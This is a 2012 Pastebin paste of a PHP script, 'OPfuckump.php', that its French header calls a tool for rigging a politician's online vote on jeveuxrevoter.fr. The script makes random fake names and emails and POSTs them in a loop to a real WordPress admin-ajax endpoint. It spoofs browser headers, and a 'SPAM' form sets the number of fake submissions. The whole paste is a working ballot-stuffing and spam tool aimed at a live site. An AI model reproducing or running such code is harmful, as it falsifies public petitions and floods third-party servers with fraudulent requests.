Advertisement
Guest User

OPfuckump.php

a guest
Nov 26th, 2012
3,539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.30 KB | None | 0 0
  1.  
  2. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  3. <br /><br />
  4. <div align="center">
  5. <img src="http://front1.monsterup.com/upload/1353955158632.jpg" width="200" height="150">
  6.  
  7. <h3>On en a marre de vos conneries !</h3>
  8. Ce script permet de fausser le vote mit en place par Nathalie Kosciusko-Morizetsur le site <a href="http://jeveuxrevoter.fr" target="_BLANK">jeveuxrevoter.fr</a><br/>
  9. Il permet de generer de faux nom/prenom + mail et les envoie en boucle au nombre de requete demander =)
  10.  <h4>#OPfuckump</h4>
  11. <?php
  12.  
  13. /////////////////////////////
  14. //
  15. // OPfuckump.php
  16. // #OPfuckump
  17. // 26/11/2012
  18. //
  19. /////////////////////////////
  20.  
  21. function fakeMailGenerator() {
  22.  
  23.   $tlds = array("com", "net", "gov", "org", "edu", "biz", "info");
  24.   $char = "0123456789abcdefghijklmnopqrstuvwxyz";
  25.  
  26.     $ulen = mt_rand(5, 6);
  27.     $dlen = mt_rand(1, 6);
  28.     $a = "";
  29.     for ($i = 1; $i <= $ulen; $i++) {
  30.       $a .= substr($char, mt_rand(0, strlen($char)), 1);
  31.     }
  32.     $a .= "@";
  33.  
  34.     for ($i = 1; $i <= $dlen; $i++) {
  35.       $a .= substr($char, mt_rand(0, strlen($char)), 1);
  36.     }
  37.     $a .= ".";
  38.     $a .= $tlds[mt_rand(0, (sizeof($tlds)-1))];
  39.  
  40.   return $a;
  41. }
  42.  
  43. function fakeNameGenerator($max=6) {
  44.     $i = 0; //Reset the counter.
  45.     $possible_keys = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  46.     $keys_length = strlen($possible_keys);
  47.     $str = ""; //Let's declare the string, to add later.
  48.     while($i<$max) {
  49.         $rand = mt_rand(1,$keys_length-1);
  50.         $str.= $possible_keys[$rand];
  51.         $i++;
  52.     }
  53.     return $str;
  54. }
  55.  
  56. function fuckUMP() {
  57.  
  58.     $name      = urlencode(fakeNameGenerator());
  59.     $subname   = urlencode(fakeNameGenerator());
  60.     $mail      = fakeMailGenerator();
  61.     $useragent = 'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1';
  62.     $header    = array(
  63.                     "Accept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
  64.                     "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3",
  65.                     "Accept-Charset: ISO-8859-1;q=0.7,*;q=0.7",
  66.                     "Keep-Alive: 300"
  67.                         );
  68.     $str       = "action=dk_speakup_sendmail&id=1&first_name=".$name."&last_name=".$subname."&email=".urlencode($mail)."&optin=&lang=";
  69.      
  70.  
  71.     $ch=curl_init();
  72.     curl_setopt($ch,CURLOPT_URL,'http://lafrancedroite.fr/wp-admin/admin-ajax.php');
  73.     curl_setopt($ch, CURLOPT_POST, 1);
  74.     curl_setopt($ch, CURLOPT_POSTFIELDS, $str);
  75.     curl_setopt($ch, CURLOPT_USERAGENT, $useragent );
  76.     curl_setopt($ch, CURLOPT_HTTPHEADER, $header );
  77.     curl_exec($ch);
  78.     curl_close($ch);
  79.      
  80.      $arr['name']      = $name;
  81.      $arr['subname'] = $subname;
  82.      $arr['mail']    = $mail;
  83.  
  84.      return $arr;
  85. }
  86.  
  87.  
  88. if ((isset($_POST['nb']))) {  
  89.  
  90.     if (isset($_POST['nb']) && (is_numeric($_POST['nb'])) && ($_POST['nb'] != ''))
  91.         $requetes = strip_tags($_POST['nb']);
  92.     else
  93.         $requetes = 5;
  94.    
  95.  
  96.       $boucle = 0;
  97.       while($boucle < $requetes) {
  98.             $res = fuckUMP();
  99.             echo 'Nom (fake): '.$res['name'].'<br />';
  100.             echo 'Prenom (fake): '.$res['subname'].'<br />';
  101.             echo 'Mail (fake): '.$res['mail'].'<br /><br />';
  102.         $boucle++;
  103.       }
  104. }
  105.  
  106.  
  107.  
  108. ?>
  109. <form method="POST">
  110.     Nombre votes à envoyées<br />
  111.     <input type="text" name="nb" value="20" size="10"><br /><br />
  112.     <input type="submit" value="SPAM">
  113. </form>
  114. </div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement